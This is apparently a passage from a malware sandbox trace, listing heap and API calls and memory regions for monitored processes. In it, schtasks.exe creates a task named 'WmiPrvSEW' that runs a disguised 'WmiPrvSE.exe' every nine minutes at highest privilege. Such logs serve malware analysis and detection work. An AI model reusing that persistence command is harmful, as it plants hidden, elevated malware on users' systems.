returned 1 [0089.282] GetProcessHeap () returned 0xf0000 [0089.282] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10d7c0) returned 0x10 [0089.282] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d7c0 | out: hHeap=0xf0000) returned 1 [0089.282] GetProcessHeap () returned 0xf0000 [0089.282] GetProcessHeap () returned 0xf0000 [0089.282] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cd90) returned 1 [0089.282] GetProcessHeap () returned 0xf0000 [0089.282] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10cd90) returned 0x20 [0089.282] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cd90 | out: hHeap=0xf0000) returned 1 [0089.283] GetProcessHeap () returned 0xf0000 [0089.283] GetProcessHeap () returned 0xf0000 [0089.283] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10bb90) returned 1 [0089.283] GetProcessHeap () returned 0xf0000 [0089.283] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10bb90) returned 0x18 [0089.283] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10bb90 | out: hHeap=0xf0000) returned 1 [0089.283] GetProcessHeap () returned 0xf0000 [0089.283] GetProcessHeap () returned 0xf0000 [0089.283] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x105b40) returned 1 [0089.283] GetProcessHeap () returned 0xf0000 [0089.283] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x105b40) returned 0x20 [0089.283] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x105b40 | out: hHeap=0xf0000) returned 1 [0089.283] GetProcessHeap () returned 0xf0000 [0089.283] GetProcessHeap () returned 0xf0000 [0089.283] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x105b70) returned 1 [0089.283] GetProcessHeap () returned 0xf0000 [0089.283] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x105b70) returned 0x20 [0089.284] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x105b70 | out: hHeap=0xf0000) returned 1 [0089.284] GetProcessHeap () returned 0xf0000 [0089.284] GetProcessHeap () returned 0xf0000 [0089.284] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x105ba0) returned 1 [0089.284] GetProcessHeap () returned 0xf0000 [0089.284] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x105ba0) returned 0x20 [0089.285] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x105ba0 | out: hHeap=0xf0000) returned 1 [0089.285] GetProcessHeap () returned 0xf0000 [0089.285] GetProcessHeap () returned 0xf0000 [0089.285] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x105bd0) returned 1 [0089.285] GetProcessHeap () returned 0xf0000 [0089.285] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x105bd0) returned 0x20 [0089.285] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x105bd0 | out: hHeap=0xf0000) returned 1 [0089.285] GetProcessHeap () returned 0xf0000 [0089.285] GetProcessHeap () returned 0xf0000 [0089.285] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10bbb0) returned 1 [0089.285] GetProcessHeap () returned 0xf0000 [0089.285] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10bbb0) returned 0x18 [0089.285] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10bbb0 | out: hHeap=0xf0000) returned 1 [0089.285] GetProcessHeap () returned 0xf0000 [0089.285] GetProcessHeap () returned 0xf0000 [0089.285] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x105c00) returned 1 [0089.285] GetProcessHeap () returned 0xf0000 [0089.286] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x105c00) returned 0x20 [0089.286] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x105c00 | out: hHeap=0xf0000) returned 1 [0089.286] GetProcessHeap () returned 0xf0000 [0089.286] GetProcessHeap () returned 0xf0000 [0089.286] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x105c90) returned 1 [0089.286] GetProcessHeap () returned 0xf0000 [0089.286] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x105c90) returned 0x20 [0089.287] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x105c90 | out: hHeap=0xf0000) returned 1 [0089.338] GetProcessHeap () returned 0xf0000 [0089.338] GetProcessHeap () returned 0xf0000 [0089.338] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x105cf0) returned 1 [0089.338] GetProcessHeap () returned 0xf0000 [0089.338] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x105cf0) returned 0x20 [0089.339] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x105cf0 | out: hHeap=0xf0000) returned 1 [0089.339] GetProcessHeap () returned 0xf0000 [0089.339] GetProcessHeap () returned 0xf0000 [0089.339] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x105d50) returned 1 [0089.339] GetProcessHeap () returned 0xf0000 [0089.339] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x105d50) returned 0x20 [0089.340] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x105d50 | out: hHeap=0xf0000) returned 1 [0089.340] GetProcessHeap () returned 0xf0000 [0089.340] GetProcessHeap () returned 0xf0000 [0089.341] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x105d80) returned 1 [0089.341] GetProcessHeap () returned 0xf0000 [0089.341] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x105d80) returned 0x20 [0089.341] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x105d80 | out: hHeap=0xf0000) returned 1 [0089.341] GetProcessHeap () returned 0xf0000 [0089.341] GetProcessHeap () returned 0xf0000 [0089.341] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10bbd0) returned 1 [0089.341] GetProcessHeap () returned 0xf0000 [0089.341] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10bbd0) returned 0x18 [0089.341] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10bbd0 | out: hHeap=0xf0000) returned 1 [0089.341] GetProcessHeap () returned 0xf0000 [0089.341] GetProcessHeap () returned 0xf0000 [0089.341] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x105cc0) returned 1 [0089.341] GetProcessHeap () returned 0xf0000 [0089.341] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x105cc0) returned 0x20 [0089.342] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x105cc0 | out: hHeap=0xf0000) returned 1 [0089.342] GetProcessHeap () returned 0xf0000 [0089.342] GetProcessHeap () returned 0xf0000 [0089.342] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10bb50) returned 1 [0089.342] GetProcessHeap () returned 0xf0000 [0089.342] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10bb50) returned 0x18 [0089.342] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10bb50 | out: hHeap=0xf0000) returned 1 [0089.342] exit (_Code=0) Thread: id = 205 os_tid = 0x940 Process: id = "62" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3c2ce000" os_pid = "0x944" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"WmiPrvSEW\" /sc MINUTE /mo 9 /tr \"'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4689 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4690 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4691 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4692 start_va = 0xa0000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 4693 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4694 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4695 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4696 start_va = 0xff900000 end_va = 0xff947fff monitored = 1 entry_point = 0xff92966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 4697 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4698 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4699 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 4700 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4701 start_va = 0x120000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 4702 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4703 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4704 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4705 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4706 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4707 start_va = 0x120000 end_va = 0x186fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4708 start_va = 0x200000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4709 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4710 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4711 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4712 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4713 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4714 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4715 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4716 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4717 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4718 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4719 start_va = 0x190000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 4720 start_va = 0x300000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 4721 start_va = 0x400000 end_va = 0x587fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 4722 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4723 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4724 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4725 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4726 start_va = 0x590000 end_va = 0x710fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000590000" filename = "" Region: id = 4727 start_va = 0x720000 end_va = 0x1b1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000720000" filename = "" Region: id = 4728 start_va = 0x50000 end_va = 0x61fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4729 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4730 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 4731 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4732 start_va = 0x1b20000 end_va = 0x1deefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4765 start_va = 0x1df0000 end_va = 0x1e6cfff monitored = 0 entry_point = 0x1dfcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4766 start_va = 0x1df0000 end_va = 0x1e6cfff monitored = 0 entry_point = 0x1dfcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4767 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4768 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4769 start_va = 0x1df0000 end_va = 0x1fcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001df0000" filename = "" Region: id = 4770 start_va = 0x1df0000 end_va = 0x1ecefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001df0000" filename = "" Region: id = 4771 start_va = 0x1f50000 end_va = 0x1fcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 4772 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4773 start_va = 0x20f0000 end_va = 0x216ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020f0000" filename = "" Region: id = 4774 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4775 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4776 start_va = 0x80000 end_va = 0x80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 4777 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4778 start_va = 0x90000 end_va = 0x90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 4779 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4780 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4783 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 206 os_tid = 0x948 [0088.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x11fcc0 | out: lpSystemTimeAsFileTime=0x11fcc0*(dwLowDateTime=0x5dfa6c40, dwHighDateTime=0x1d9eb0c)) [0088.934] GetCurrentProcessId () returned 0x944 [0088.935] GetCurrentThreadId () returned 0x948 [0088.935] GetTickCount () returned 0x176b9c4 [0088.935] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x11fcc8 | out: lpPerformanceCount=0x11fcc8*=2489541800185) returned 1 [0088.935] GetModuleHandleW (lpModuleName=0x0) returned 0xff900000 [0088.935] __set_app_type (_Type=0x1) [0088.935] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff92972c) returned 0x0 [0088.935] __wgetmainargs (in: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248, _DoWildCard=0, _StartInfo=0xff94125c | out: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248) returned 0 [0088.936] _onexit (_Func=0xff932ab0) returned 0xff932ab0 [0088.936] _onexit (_Func=0xff932ac4) returned 0xff932ac4 [0088.937] _onexit (_Func=0xff932afc) returned 0xff932afc [0088.937] _onexit (_Func=0xff932b58) returned 0xff932b58 [0088.937] _onexit (_Func=0xff932b80) returned 0xff932b80 [0088.937] _onexit (_Func=0xff932ba8) returned 0xff932ba8 [0088.937] _onexit (_Func=0xff932bd0) returned 0xff932bd0 [0088.937] _onexit (_Func=0xff932bf8) returned 0xff932bf8 [0088.938] _onexit (_Func=0xff932c20) returned 0xff932c20 [0088.938] _onexit (_Func=0xff932c48) returned 0xff932c48 [0088.938] _onexit (_Func=0xff932c70) returned 0xff932c70 [0088.938] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0088.938] WinSqmIsOptedIn () returned 0x0 [0088.939] GetProcessHeap () returned 0x200000 [0088.939] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x215590 [0088.939] SetLastError (dwErrCode=0x0) [0088.940] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0088.940] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0088.940] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0088.940] VerifyVersionInfoW (in: lpVersionInformation=0x11f480, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x11f480) returned 1 [0088.940] GetProcessHeap () returned 0x200000 [0088.940] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21bb50 [0088.940] lstrlenW (lpString="") returned 0 [0088.940] GetProcessHeap () returned 0x200000 [0088.940] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x2) returned 0x21bb70 [0088.940] GetProcessHeap () returned 0x200000 [0088.941] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215a80 [0088.941] GetProcessHeap () returned 0x200000 [0088.941] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21bb90 [0088.941] GetProcessHeap () returned 0x200000 [0088.941] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215ab0 [0088.941] GetProcessHeap () returned 0x200000 [0088.941] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215ae0 [0088.941] GetProcessHeap () returned 0x200000 [0088.941] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215b10 [0088.941] GetProcessHeap () returned 0x200000 [0088.941] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215b40 [0088.941] GetProcessHeap () returned 0x200000 [0088.941] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21bbb0 [0088.941] GetProcessHeap () returned 0x200000 [0088.941] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215b70 [0088.941] GetProcessHeap () returned 0x200000 [0088.941] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215ba0 [0088.941] GetProcessHeap () returned 0x200000 [0088.941] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215bd0 [0088.941] GetProcessHeap () returned 0x200000 [0088.941] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215c00 [0088.941] GetProcessHeap () returned 0x200000 [0088.941] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21bbd0 [0088.942] GetProcessHeap () returned 0x200000 [0088.942] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215c30 [0088.942] GetProcessHeap () returned 0x200000 [0088.942] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215c60 [0088.942] GetProcessHeap () returned 0x200000 [0088.942] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215c90 [0088.942] GetProcessHeap () returned 0x200000 [0088.942] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215cc0 [0088.942] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0088.942] SetLastError (dwErrCode=0x0) [0088.942] GetProcessHeap () returned 0x200000 [0088.942] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215cf0 [0088.942] GetProcessHeap () returned 0x200000 [0088.942] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215d20 [0088.942] GetProcessHeap () returned 0x200000 [0088.942] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215d50 [0088.942] GetProcessHeap () returned 0x200000 [0088.942] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215d80 [0088.942] GetProcessHeap () returned 0x200000 [0088.942] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215db0 [0088.942] GetProcessHeap () returned 0x200000 [0088.943] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21bbf0 [0088.943] _memicmp (_Buf1=0x21bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.943] GetProcessHeap () returned 0x200000 [0088.943] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x208) returned 0x21bd90 [0088.943] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x21bd90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0088.943] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0088.946] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0088.946] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0088.947] GetProcessHeap () returned 0x200000 [0088.947] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x74e) returned 0x21c360 [0088.947] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0088.947] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x21c360 | out: lpData=0x21c360) returned 1 [0088.948] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0088.948] VerQueryValueW (in: pBlock=0x21c360, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x11f568, puLen=0x11f5d0 | out: lplpBuffer=0x11f568*=0x21c6fc, puLen=0x11f5d0) returned 1 [0088.950] _memicmp (_Buf1=0x21bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.950] 